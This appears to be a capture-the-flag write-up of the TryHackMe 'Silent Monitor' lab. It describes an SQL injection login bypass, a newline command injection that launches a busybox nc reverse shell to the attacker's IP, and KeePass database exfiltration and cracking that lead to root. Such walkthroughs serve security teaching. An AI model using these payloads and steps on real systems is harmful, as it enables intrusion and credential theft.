> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/silent-monitor.md). # Silent Monitor {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Green Lights, Dark Corners CorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look. The portal is up. The services show green. The audit log looks clean. But clean logs can be written by anyone. Your job is to get in, move through the system, and find out what is really running behind the secret dashboard. ## Summary
Summary In Silent Monitor, we enumerate the target and identify a web service running on port 5050, which exposes an `/internal`portal protected by a login form. We bypass authentication using the SQL injection payload `' or 1 or '` and gain access to an internal dashboard, which surfaces a `/internal/health` endpoint vulnerable to command injection. We exploit this by injecting a `busybox nc` reverse shell against a Penelope listener and land a callback on the host. While enumerating the filesystem, we discover a `secret.config` file containing the `sysadmin` user's credentials, which we leverage to pivot via SSH and establish a stable session as `sysadmin`. From there, we locate a KeePass database `infrastructure.kdbx` in a backups folder and exfiltrate it by hosting a Python HTTP server on the target and pulling it down with `wget`. On our attacking machine, we convert the database to a crackable hash using `keepass2john` and recover the master password with John the Ripper against `rockyou.txt`, revealing that the vault was protected by a weak password. Unlocking the KeePass file exposes the `root` user's credentials, allowing us to escalate privileges with `su root` and retrieve the final flag from root's home directory, fully compromising the host.
## Recon We use `rustscan -b 500 -a silent-monitor.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a silent-monitor.thm --top -- -sC -sV -Pn ``` {% endcode %}
Besids SSH on port 22 we have a web service running on port 5050.
We visit the site and have a infrastructure monitoring site infront of us. At first glance this seems like a static site. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/ ``` {% endcode %}
A directory scan via Feroxbuster did not lead to any results, even though the following directory was also included in the wordlists used. At the following endpoint we have log in infront of us. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/internal ``` {% endcode %}
## Access as netops We catch the request using Burp Suite. We try to get access using SQL injection. For this we will try the following payloads: {% embed url="" %} We send the request to the intruder module, paste the wordlist of different SQL injection bypass payloads, highlight the value of the username and start the attack.
After a short duration we have a redirect with the following payload. {% code overflow="wrap" expandable="true" %} ``` ' or 1 or ' ``` {% endcode %}
We uses this to log in. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/internal ``` {% endcode %}
We are being redirect to the dashboard. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/internal/health ``` {% endcode %}
In the audit logs we can see that another user tried to get access via SQL injection and command injection on the health endpoint. This gives us a hint that the attacker might have been successful by injecting a command via newline. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/internal/dashboard#audit ``` {% endcode %}
## Shell as www-data We move to the health endpoint and thest for command injeciton. {% code overflow="wrap" expandable="true" %} ``` http://silent-monitor.thm:5050/internal/health ``` {% endcode %}
But first, we spin up a listener to catch our reverse shell. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` peneleope -p 4445 ``` {% endcode %} We tried different payloads also the suggested in the logs, but without success. It turns out the newline was indeed the actual mechanic to bypass the filter and inject the command, but not url encoded. {% code overflow="wrap" expandable="true" %} ``` busybox nc 192.168.135.32 4445 -e bash ``` {% endcode %}
After submitting the payload we get a connection on our reverse shell listener. We are `www-data`.
## Shell as sysadmin In the current directory we find a `secret.config` file which contains credentials for the `sysadmin` user.
We can't swtich users with the credentials using `su`, but we are able to SSH into the machine using the credentials. We are sysadmin and find the users flag in the home directory. {% code overflow="wrap" expandable="true" %} ``` ssh sysadmin@silent-monitor.thm ``` {% endcode %}
## Shell as root In the backups folder we find a keepass file.
We exfiltrate it using a python webserver. {% code overflow="wrap" expandable="true" %} ``` python3 -m http.server 8080 ``` {% endcode %}
{% code overflow="wrap" expandable="true" %} ``` wget http://silent-monitor.thm:8080/infrastructure.kdbx ``` {% endcode %}
On our machine we generate a hash using keepass2john to eventually crack the keepass file. It turns out the file is poorly secured by a weak password. {% code overflow="wrap" expandable="true" %} ``` keepass2john infrastructure.kdbx > kdbx.hash ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` john --wordlist=/usr/share/wordlists/rockyou.txt kdbx.hash ``` {% endcode %}
We unlock the keepass file with the cracked password and are able to retrieve the `root` users password.
Next, we try to switch users to `root` using `su` and are successful. We find the final flag in the roots home directory. {% code overflow="wrap" expandable="true" %} ``` su root ``` {% endcode %}